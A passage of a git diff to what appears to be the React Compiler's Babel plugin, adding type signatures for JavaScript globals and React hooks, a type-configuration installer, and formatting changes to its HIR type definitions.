-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Primitive,
+        }),
+      ],
+      [
+        'min',
+        // Math.min(value0, ..., valueN)
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Primitive'},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Primitive,
+        }),
+      ],
+      [
+        'trunc',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Primitive'},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Primitive,
+        }),
+      ],
+      [
+        'ceil',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Primitive'},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Primitive,
+        }),
+      ],
+      [
+        'floor',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Primitive'},
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Primitive,
+        }),
+      ],
+      [
+        'pow',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
+      [
+        'random',
+        addFunction(DEFAULT_SHAPES, [], {
+          positionalParams: [],
+          restParam: Effect.Read,
+          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation
+          calleeEffect: Effect.Read,
+          returnValueKind: ValueKind.Mutable, // same here
+          impure: true,
+          canonicalName: 'Math.random',
+        }),
+      ],
     ]),
   ],
-  ["Infinity", { kind: "Primitive" }],
-  ["NaN", { kind: "Primitive" }],
+  ['Infinity', {kind: 'Primitive'}],
+  ['NaN', {kind: 'Primitive'}],
   [
-    "console",
-    addObject(DEFAULT_SHAPES, "console", [
+    'console',
+    addObject(DEFAULT_SHAPES, 'console', [
       [
-        "error",
+        'error',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       [
-        "info",
+        'info',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       [
-        "log",
+        'log',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       [
-        "table",
+        'table',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       [
-        "trace",
+        'trace',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
       ],
       [
-        "warn",
+        'warn',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Read,
-          returnType: { kind: "Primitive" },
+          returnType: {kind: 'Primitive'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Primitive,
         }),
@@ -205,35 +447,179 @@ const TYPED_GLOBALS: Array<[string, BuiltInType]> = [
     ]),
   ],
   [
-    "Boolean",
+    'Boolean',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'Number',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'String',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'parseInt',
     addFunction(DEFAULT_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Read,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       calleeEffect: Effect.Read,
       returnValueKind: ValueKind.Primitive,
     }),
   ],
   [
-    "Number",
+    'parseFloat',
     addFunction(DEFAULT_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Read,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       calleeEffect: Effect.Read,
       returnValueKind: ValueKind.Primitive,
     }),
   ],
   [
-    "String",
+    'isNaN',
     addFunction(DEFAULT_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Read,
-      returnType: { kind: "Primitive" },
+      returnType: {kind: 'Primitive'},
       calleeEffect: Effect.Read,
       returnValueKind: ValueKind.Primitive,
     }),
   ],
+  [
+    'isFinite',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'encodeURI',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'encodeURIComponent',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'decodeURI',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'decodeURIComponent',
+    addFunction(DEFAULT_SHAPES, [], {
+      positionalParams: [],
+      restParam: Effect.Read,
+      returnType: {kind: 'Primitive'},
+      calleeEffect: Effect.Read,
+      returnValueKind: ValueKind.Primitive,
+    }),
+  ],
+  [
+    'Map',
+    addFunction(
+      DEFAULT_SHAPES,
+      [],
+      {
+        positionalParams: [Effect.ConditionallyMutateIterator],
+        restParam: null,
+        returnType: {kind: 'Object', shapeId: BuiltInMapId},
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Mutable,
+      },
+      null,
+      true,
+    ),
+  ],
+  [
+    'Set',
+    addFunction(
+      DEFAULT_SHAPES,
+      [],
+      {
+        positionalParams: [Effect.ConditionallyMutateIterator],
+        restParam: null,
+        returnType: {kind: 'Object', shapeId: BuiltInSetId},
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Mutable,
+      },
+      null,
+      true,
+    ),
+  ],
+  [
+    'WeakMap',
+    addFunction(
+      DEFAULT_SHAPES,
+      [],
+      {
+        positionalParams: [Effect.ConditionallyMutateIterator],
+        restParam: null,
+        returnType: {kind: 'Object', shapeId: BuiltInWeakMapId},
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Mutable,
+      },
+      null,
+      true,
+    ),
+  ],
+  [
+    'WeakSet',
+    addFunction(
+      DEFAULT_SHAPES,
+      [],
+      {
+        positionalParams: [Effect.ConditionallyMutateIterator],
+        restParam: null,
+        returnType: {kind: 'Object', shapeId: BuiltInWeakSetId},
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Mutable,
+      },
+      null,
+      true,
+    ),
+  ],
   // TODO: rest of Global objects
 ];
 
@@ -244,179 +630,273 @@ const TYPED_GLOBALS: Array<[string, BuiltInType]> = [
  */
 const REACT_APIS: Array<[string, BuiltInType]> = [
   [
-    "useContext",
-    addHook(DEFAULT_SHAPES, {
-      positionalParams: [],
-      restParam: Effect.Read,
-      returnType: { kind: "Poly" },
-      calleeEffect: Effect.Read,
-      hookKind: "useContext",
-      returnValueKind: ValueKind.Frozen,
-      returnValueReason: ValueReason.Context,
-    }),
+    'useContext',
+    addHook(
+      DEFAULT_SHAPES,
+      {
+        positionalParams: [],
+        restParam: Effect.Read,
+        returnType: {kind: 'Poly'},
+        calleeEffect: Effect.Read,
+        hookKind: 'useContext',
+        returnValueKind: ValueKind.Frozen,
+        returnValueReason: ValueReason.Context,
+      },
+      BuiltInUseContextHookId,
+    ),
   ],
   [
-    "useState",
+    'useState',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Object", shapeId: BuiltInUseStateId },
+      returnType: {kind: 'Object', shapeId: BuiltInUseStateId},
       calleeEffect: Effect.Read,
-      hookKind: "useState",
+      hookKind: 'useState',
       returnValueKind: ValueKind.Frozen,
       returnValueReason: ValueReason.State,
     }),
   ],
   [
-    "useActionState",
+    'useActionState',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Object", shapeId: BuiltInUseActionStateId },
+      returnType: {kind: 'Object', shapeId: BuiltInUseActionStateId},
       calleeEffect: Effect.Read,
-      hookKind: "useActionState",
+      hookKind: 'useActionState',
       returnValueKind: ValueKind.Frozen,
       returnValueReason: ValueReason.State,
     }),
   ],
   [
-    "useReducer",
+    'useReducer',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Object", shapeId: BuiltInUseReducerId },
+      returnType: {kind: 'Object', shapeId: BuiltInUseReducerId},
       calleeEffect: Effect.Read,
-      hookKind: "useReducer",
+      hookKind: 'useReducer',
       returnValueKind: ValueKind.Frozen,
       returnValueReason: ValueReason.ReducerState,
     }),
   ],
   [
-    "useRef",
+    'useRef',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Capture,
-      returnType: { kind: "Object", shapeId: BuiltInUseRefId },
+      returnType: {kind: 'Object', shapeId: BuiltInUseRefId},
       calleeEffect: Effect.Read,
-      hookKind: "useRef",
+      hookKind: 'useRef',
       returnValueKind: ValueKind.Mutable,
     }),
   ],
   [
-    "useMemo",
+    'useImperativeHandle',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Poly" },
+      returnType: {kind: 'Primitive'},
       calleeEffect: Effect.Read,
-      hookKind: "useMemo",
+      hookKind: 'useImperativeHandle',
       returnValueKind: ValueKind.Frozen,
     }),
   ],
   [
-    "useCallback",
+    'useMemo',
     addHook(DEFAULT_SHAPES, {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Poly" },
+      returnType: {kind: 'Poly'},
       calleeEffect: Effect.Read,
-      hookKind: "useCallback",
+      hookKind: 'useMemo',
       returnValueKind: ValueKind.Frozen,
     }),
   ],
   [
-    "useEffect",
+    'useCallback',
+    addHook(DEFAULT_SHAPES, {
+      positionalParams: [],
+      restParam: Effect.Freeze,
+      returnType: {kind: 'Poly'},
+      calleeEffect: Effect.Read,
+      hookKind: 'useCallback',
+      returnValueKind: ValueKind.Frozen,
+    }),
+  ],
+  [
+    'useEffect',
     addHook(
       DEFAULT_SHAPES,
       {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Primitive" },
+        returnType: {kind: 'Primitive'},
         calleeEffect: Effect.Read,
-        hookKind: "useEffect",
+        hookKind: 'useEffect',
         returnValueKind: ValueKind.Frozen,
+        aliasing: {
+          receiver: '@receiver',
+          params: [],
+          rest: '@rest',
+          returns: '@returns',
+          temporaries: ['@effect'],
+          effects: [
+            // Freezes the function and deps
+            {
+              kind: 'Freeze',
+              value: '@rest',
+              reason: ValueReason.Effect,
+            },
+            // Internally creates an effect object that captures the function and deps
+            {
+              kind: 'Create',
+              into: '@effect',
+              value: ValueKind.Frozen,
+              reason: ValueReason.KnownReturnSignature,
+            },
+            // The effect stores the function and dependencies
+            {
+              kind: 'Capture',
+              from: '@rest',
+              into: '@effect',
+            },
+            // Returns undefined
+            {
+              kind: 'Create',
+              into: '@returns',
+              value: ValueKind.Primitive,
+              reason: ValueReason.KnownReturnSignature,
+            },
+          ],
+        },
       },
-      BuiltInUseEffectHookId
+      BuiltInUseEffectHookId,
     ),
   ],
   [
-    "useLayoutEffect",
+    'useLayoutEffect',
     addHook(
       DEFAULT_SHAPES,
       {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Poly'},
         calleeEffect: Effect.Read,
-        hookKind: "useLayoutEffect",
+        hookKind: 'useLayoutEffect',
         returnValueKind: ValueKind.Frozen,
       },
-      BuiltInUseLayoutEffectHookId
+      BuiltInUseLayoutEffectHookId,
     ),
   ],
   [
-    "useInsertionEffect",
+    'useInsertionEffect',
     addHook(
       DEFAULT_SHAPES,
       {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Poly'},
         calleeEffect: Effect.Read,
-        hookKind: "useLayoutEffect",
+        hookKind: 'useInsertionEffect',
         returnValueKind: ValueKind.Frozen,
       },
-      BuiltInUseInsertionEffectHookId
+      BuiltInUseInsertionEffectHookId,
     ),
   ],
   [
-    "use",
+    'useTransition',
+    addHook(DEFAULT_SHAPES, {
+      positionalParams: [],
+      restParam: null,
+      returnType: {kind: 'Object', shapeId: BuiltInUseTransitionId},
+      calleeEffect: Effect.Read,
+      hookKind: 'useTransition',
+      returnValueKind: ValueKind.Frozen,
+    }),
+  ],
+  [
+    'useOptimistic',
+    addHook(DEFAULT_SHAPES, {
+      positionalParams: [],
+      restParam: Effect.Freeze,
+      returnType: {kind: 'Object', shapeId: BuiltInUseOptimisticId},
+      calleeEffect: Effect.Read,
+      hookKind: 'useOptimistic',
+      returnValueKind: ValueKind.Frozen,
+      returnValueReason: ValueReason.State,
+    }),
+  ],
+  [
+    'use',
     addFunction(
       DEFAULT_SHAPES,
       [],
       {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Poly'},
+        calleeEffect: Effect.Read,
+        returnValueKind: ValueKind.Frozen,
+      },
+      BuiltInUseOperatorId,
+    ),
+  ],
+  [
+    'useEffectEvent',
+    addHook(
+      DEFAULT_SHAPES,
+      {
+        positionalParams: [],
+        restParam: Effect.Freeze,
+        returnType: {
+          kind: 'Function',
+          return: {kind: 'Poly'},
+          shapeId: BuiltInEffectEventId,
+          isConstructor: false,
+        },
         calleeEffect: Effect.Read,
+        hookKind: 'useEffectEvent',
+        // Frozen because it should not mutate any locally-bound values
         returnValueKind: ValueKind.Frozen,
       },
-      BuiltInUseOperatorId
+      BuiltInUseEffectEventId,
     ),
   ],
 ];
 
 TYPED_GLOBALS.push(
   [
-    "React",
+    'React',
     addObject(DEFAULT_SHAPES, null, [
       ...REACT_APIS,
       [
-        "createElement",
+        'createElement',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Freeze,
-          returnType: { kind: "Poly" },
+          returnType: {kind: 'Poly'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Frozen,
         }),
       ],
       [
-        "cloneElement",
+        'cloneElement',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Freeze,
-          returnType: { kind: "Poly" },
+          returnType: {kind: 'Poly'},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Frozen,
         }),
       ],
       [
-        "createRef",
+        'createRef',
         addFunction(DEFAULT_SHAPES, [], {
           positionalParams: [],
           restParam: Effect.Capture, // createRef takes no paramters
-          returnType: { kind: "Object", shapeId: BuiltInUseRefId },
+          returnType: {kind: 'Object', shapeId: BuiltInUseRefId},
           calleeEffect: Effect.Read,
           returnValueKind: ValueKind.Mutable,
         }),
@@ -424,15 +904,15 @@ TYPED_GLOBALS.push(
     ]),
   ],
   [
-    "_jsx",
+    '_jsx',
     addFunction(DEFAULT_SHAPES, [], {
       positionalParams: [],
       restParam: Effect.Freeze,
-      returnType: { kind: "Poly" },
+      returnType: {kind: 'Poly'},
       calleeEffect: Effect.Read,
       returnValueKind: ValueKind.Frozen,
     }),
-  ]
+  ],
 );
 
 export type Global = BuiltInType | PolyType;
@@ -442,7 +922,7 @@ export const DEFAULT_GLOBALS: GlobalRegistry = new Map(REACT_APIS);
 // Hack until we add ObjectShapes for all globals
 for (const name of UNTYPED_GLOBALS) {
   DEFAULT_GLOBALS.set(name, {
-    kind: "Poly",
+    kind: 'Poly',
   });
 }
 
@@ -450,81 +930,197 @@ for (const [name, type_] of TYPED_GLOBALS) {
   DEFAULT_GLOBALS.set(name, type_);
 }
 
-// Recursive global type
+// Recursive global types
 DEFAULT_GLOBALS.set(
-  "globalThis",
-  addObject(DEFAULT_SHAPES, "globalThis", TYPED_GLOBALS)
+  'globalThis',
+  addObject(DEFAULT_SHAPES, 'globalThis', TYPED_GLOBALS),
+);
+DEFAULT_GLOBALS.set(
+  'global',
+  addObject(DEFAULT_SHAPES, 'global', TYPED_GLOBALS),
 );
 
-export function installReAnimatedTypes(
+export function installTypeConfig(
   globals: GlobalRegistry,
-  registry: ShapeRegistry
-): void {
+  shapes: ShapeRegistry,
+  typeConfig: TypeConfig,
+  moduleName: string,
+  loc: SourceLocation,
+): Global {
+  switch (typeConfig.kind) {
+    case 'type': {
+      switch (typeConfig.name) {
+        case 'Array': {
+          return {kind: 'Object', shapeId: BuiltInArrayId};
+        }
+        case 'MixedReadonly': {
+          return {kind: 'Object', shapeId: BuiltInMixedReadonlyId};
+        }
+        case 'Primitive': {
+          return {kind: 'Primitive'};
+        }
+        case 'Ref': {
+          return {kind: 'Object', shapeId: BuiltInUseRefId};
+        }
+        case 'Any': {
+          return {kind: 'Poly'};
+        }
+        default: {
+          assertExhaustive(
+            typeConfig.name,
+            `Unexpected type '${(typeConfig as any).name}'`,
+          );
+        }
+      }
+    }
+    case 'function': {
+      return addFunction(shapes, [], {
+        positionalParams: typeConfig.positionalParams,
+        restParam: typeConfig.restParam,
+        calleeEffect: typeConfig.calleeEffect,
+        returnType: installTypeConfig(
+          globals,
+          shapes,
+          typeConfig.returnType,
+          moduleName,
+          loc,
+        ),
+        returnValueKind: typeConfig.returnValueKind,
+        noAlias: typeConfig.noAlias === true,
+        mutableOnlyIfOperandsAreMutable:
+          typeConfig.mutableOnlyIfOperandsAreMutable === true,
+        aliasing: typeConfig.aliasing,
+        knownIncompatible: typeConfig.knownIncompatible ?? null,
+      });
+    }
+    case 'hook': {
+      return addHook(shapes, {
+        hookKind: 'Custom',
+        positionalParams: typeConfig.positionalParams ?? [],
+        restParam: typeConfig.restParam ?? Effect.Freeze,
+        calleeEffect: Effect.Read,
+        returnType: installTypeConfig(
+          globals,
+          shapes,
+          typeConfig.returnType,
+          moduleName,
+          loc,
+        ),
+        returnValueKind: typeConfig.returnValueKind ?? ValueKind.Frozen,
+        noAlias: typeConfig.noAlias === true,
+        aliasing: typeConfig.aliasing,
+        knownIncompatible: typeConfig.knownIncompatible ?? null,
+      });
+    }
+    case 'object': {
+      return addObject(
+        shapes,
+        null,
+        Object.entries(typeConfig.properties ?? {}).map(([key, value]) => {
+          const type = installTypeConfig(
+            globals,
+            shapes,
+            value,
+            moduleName,
+            loc,
+          );
+          const expectHook = isHookName(key);
+          let isHook = false;
+          if (type.kind === 'Function' && type.shapeId !== null) {
+            const functionType = shapes.get(type.shapeId);
+            if (functionType?.functionType?.hookKind !== null) {
+              isHook = true;
+            }
+          }
+          if (expectHook !== isHook) {
+            CompilerError.throwInvalidConfig({
+              reason: `Invalid type configuration for module`,
+              description: `Expected type for object property '${key}' from module '${moduleName}' ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the property name`,
+              loc,
+            });
+          }
+          return [key, type];
+        }),
+      );
+    }
+    default: {
+      assertExhaustive(
+        typeConfig,
+        `Unexpected type kind '${(typeConfig as any).kind}'`,
+      );
+    }
+  }
+}
+
+export function getReanimatedModuleType(registry: ShapeRegistry): ObjectType {
   // hooks that freeze args and return frozen value
   const frozenHooks = [
-    "useFrameCallback",
-    "useAnimatedStyle",
-    "useAnimatedProps",
-    "useAnimatedScrollHandler",
-    "useAnimatedReaction",
-    "useWorkletCallback",
+    'useFrameCallback',
+    'useAnimatedStyle',
+    'useAnimatedProps',
+    'useAnimatedScrollHandler',
+    'useAnimatedReaction',
+    'useWorkletCallback',
   ];
+  const reanimatedType: Array<[string, BuiltInType]> = [];
   for (const hook of frozenHooks) {
-    globals.set(
+    reanimatedType.push([
       hook,
       addHook(registry, {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Poly'},
         returnValueKind: ValueKind.Frozen,
         noAlias: true,
         calleeEffect: Effect.Read,
-        hookKind: "Custom",
-      })
-    );
+        hookKind: 'Custom',
+      }),
+    ]);
   }
 
   /**
    * hooks that return a mutable value. ideally these should be modelled as a
    * ref, but this works for now.
    */
-  const mutableHooks = ["useSharedValue", "useDerivedValue"];
+  const mutableHooks = ['useSharedValue', 'useDerivedValue'];
   for (const hook of mutableHooks) {
-    globals.set(
+    reanimatedType.push([
       hook,
       addHook(registry, {
         positionalParams: [],
         restParam: Effect.Freeze,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Object', shapeId: ReanimatedSharedValueId},
         returnValueKind: ValueKind.Mutable,
         noAlias: true,
         calleeEffect: Effect.Read,
-        hookKind: "Custom",
-      })
-    );
+        hookKind: 'Custom',
+      }),
+    ]);
   }
 
   // functions that return mutable value
   const funcs = [
-    "withTiming",
-    "withSpring",
-    "createAnimatedPropAdapter",
-    "withDecay",
-    "withRepeat",
-    "runOnUI",
-    "executeOnUIRuntimeSync",
+    'withTiming',
+    'withSpring',
+    'createAnimatedPropAdapter',
+    'withDecay',
+    'withRepeat',
+    'runOnUI',
+    'executeOnUIRuntimeSync',
   ];
   for (const fn of funcs) {
-    globals.set(
+    reanimatedType.push([
       fn,
       addFunction(registry, [], {
         positionalParams: [],
         restParam: Effect.Read,
-        returnType: { kind: "Poly" },
+        returnType: {kind: 'Poly'},
         calleeEffect: Effect.Read,
         returnValueKind: ValueKind.Mutable,
         noAlias: true,
-      })
-    );
+      }),
+    ]);
   }
+
+  return addObject(registry, null, reanimatedType);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts
index b79414de0310..ec274b45add2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts
@@ -5,13 +5,21 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { BindingKind } from "@babel/traverse";
-import * as t from "@babel/types";
-import { CompilerError, CompilerErrorDetailOptions } from "../CompilerError";
-import { assertExhaustive } from "../Utils/utils";
-import { Environment, ReactFunctionType } from "./Environment";
-import { HookKind } from "./ObjectShape";
-import { Type } from "./Types";
+import {BindingKind} from '@babel/traverse';
+import * as t from '@babel/types';
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {assertExhaustive} from '../Utils/utils';
+import {Environment, ReactFunctionType} from './Environment';
+import type {HookKind} from './ObjectShape';
+import {Type, makeType} from './Types';
+import {z} from 'zod/v4';
+import type {AliasingEffect} from '../Inference/AliasingEffects';
+import {isReservedWord} from '../Utils/Keyword';
+import {Err, Ok, Result} from '../Utils/Result';
 
 /*
  * *******************************************************************************************
@@ -50,7 +58,8 @@ export type SourceLocation = t.SourceLocation | typeof GeneratedSource;
  */
 export type ReactiveFunction = {
   loc: SourceLocation;
-  id: string | null;
+  id: ValidIdentifierName | null;
+  nameHint: string | null;
   params: Array<Place | SpreadPattern>;
   generator: boolean;
   async: boolean;
@@ -60,13 +69,13 @@ export type ReactiveFunction = {
 };
 
 export type ReactiveScopeBlock = {
-  kind: "scope";
+  kind: 'scope';
   scope: ReactiveScope;
   instructions: ReactiveBlock;
 };
 
 export type PrunedReactiveScopeBlock = {
-  kind: "pruned-scope";
+  kind: 'pruned-scope';
   scope: ReactiveScope;
   instructions: ReactiveBlock;
 };
@@ -80,14 +89,14 @@ export type ReactiveStatement =
   | PrunedReactiveScopeBlock;
 
 export type ReactiveInstructionStatement = {
-  kind: "instruction";
+  kind: 'instruction';
   instruction: ReactiveInstruction;
 };
 
 export type ReactiveTerminalStatement<
   Tterminal extends ReactiveTerminal = ReactiveTerminal,
 > = {
-  kind: "terminal";
+  kind: 'terminal';
   terminal: Tterminal;
   label: {
     id: BlockId;
@@ -99,6 +108,7 @@ export type ReactiveInstruction = {
   id: InstructionId;
   lvalue: Place | null;
   value: ReactiveValue;
+  effects?: Array<AliasingEffect> | null; // TODO make non-optional
   loc: SourceLocation;
 };
 
@@ -107,27 +117,18 @@ export type ReactiveValue =
   | ReactiveLogicalValue
   | ReactiveSequenceValue
   | ReactiveTernaryValue
-  | ReactiveOptionalCallValue
-  | ReactiveFunctionValue;
-
-export type ReactiveFunctionValue = {
-  kind: "ReactiveFunctionValue";
-  fn: ReactiveFunction;
-  dependencies: Array<Place>;
-  returnType: t.FlowType | t.TSType | null;
-  loc: SourceLocation;
-};
+  | ReactiveOptionalCallValue;
 
 export type ReactiveLogicalValue = {
-  kind: "LogicalExpression";
-  operator: t.LogicalExpression["operator"];
+  kind: 'LogicalExpression';
+  operator: t.LogicalExpression['operator'];
   left: ReactiveValue;
   right: ReactiveValue;
   loc: SourceLocation;
 };
 
 export type ReactiveTernaryValue = {
-  kind: "ConditionalExpression";
+  kind: 'ConditionalExpression';
   test: ReactiveValue;
   consequent: ReactiveValue;
   alternate: ReactiveValue;
@@ -135,7 +136,7 @@ export type ReactiveTernaryValue = {
 };
 
 export type ReactiveSequenceValue = {
-  kind: "SequenceExpression";
+  kind: 'SequenceExpression';
   instructions: Array<ReactiveInstruction>;
   id: InstructionId;
   value: ReactiveValue;
@@ -143,7 +144,7 @@ export type ReactiveSequenceValue = {
 };
 
 export type ReactiveOptionalCallValue = {
-  kind: "OptionalExpression";
+  kind: 'OptionalExpression';
   id: InstructionId;
   value: ReactiveValue;
   optional: boolean;
@@ -166,48 +167,48 @@ export type ReactiveTerminal =
   | ReactiveTryTerminal;
 
 function _staticInvariantReactiveTerminalHasLocation(
-  terminal: ReactiveTerminal
+  terminal: ReactiveTerminal,
 ): SourceLocation {
   // If this fails, it is because a variant of ReactiveTerminal is missing a .loc - add it!
   return terminal.loc;
 }
 
 function _staticInvariantReactiveTerminalHasInstructionId(
-  terminal: ReactiveTerminal
+  terminal: ReactiveTerminal,
 ): InstructionId {
   // If this fails, it is because a variant of ReactiveTerminal is missing a .id - add it!
   return terminal.id;
 }
 
-export type ReactiveTerminalTargetKind = "implicit" | "labeled" | "unlabeled";
+export type ReactiveTerminalTargetKind = 'implicit' | 'labeled' | 'unlabeled';
 export type ReactiveBreakTerminal = {
-  kind: "break";
+  kind: 'break';
   target: BlockId;
   id: InstructionId;
   targetKind: ReactiveTerminalTargetKind;
   loc: SourceLocation;
 };
 export type ReactiveContinueTerminal = {
-  kind: "continue";
+  kind: 'continue';
   target: BlockId;
   id: InstructionId;
   targetKind: ReactiveTerminalTargetKind;
   loc: SourceLocation;
 };
 export type ReactiveReturnTerminal = {
-  kind: "return";
+  kind: 'return';
   value: Place;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveThrowTerminal = {
-  kind: "throw";
+  kind: 'throw';
   value: Place;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveSwitchTerminal = {
-  kind: "switch";
+  kind: 'switch';
   test: Place;
   cases: Array<{
     test: Place | null;
@@ -217,21 +218,21 @@ export type ReactiveSwitchTerminal = {
   loc: SourceLocation;
 };
 export type ReactiveDoWhileTerminal = {
-  kind: "do-while";
+  kind: 'do-while';
   loop: ReactiveBlock;
   test: ReactiveValue;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveWhileTerminal = {
-  kind: "while";
+  kind: 'while';
   test: ReactiveValue;
   loop: ReactiveBlock;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveForTerminal = {
-  kind: "for";
+  kind: 'for';
   init: ReactiveValue;
   test: ReactiveValue;
   update: ReactiveValue | null;
@@ -240,7 +241,7 @@ export type ReactiveForTerminal = {
   loc: SourceLocation;
 };
 export type ReactiveForOfTerminal = {
-  kind: "for-of";
+  kind: 'for-of';
   init: ReactiveValue;
   test: ReactiveValue;
   loop: ReactiveBlock;
@@ -248,14 +249,14 @@ export type ReactiveForOfTerminal = {
   loc: SourceLocation;
 };
 export type ReactiveForInTerminal = {
-  kind: "for-in";
+  kind: 'for-in';
   init: ReactiveValue;
   loop: ReactiveBlock;
   id: InstructionId;
   loc: SourceLocation;
 };
 export type ReactiveIfTerminal = {
-  kind: "if";
+  kind: 'if';
   test: Place;
   consequent: ReactiveBlock;
   alternate: ReactiveBlock | null;
@@ -263,13 +264,13 @@ export type ReactiveIfTerminal = {
   loc: SourceLocation;
 };
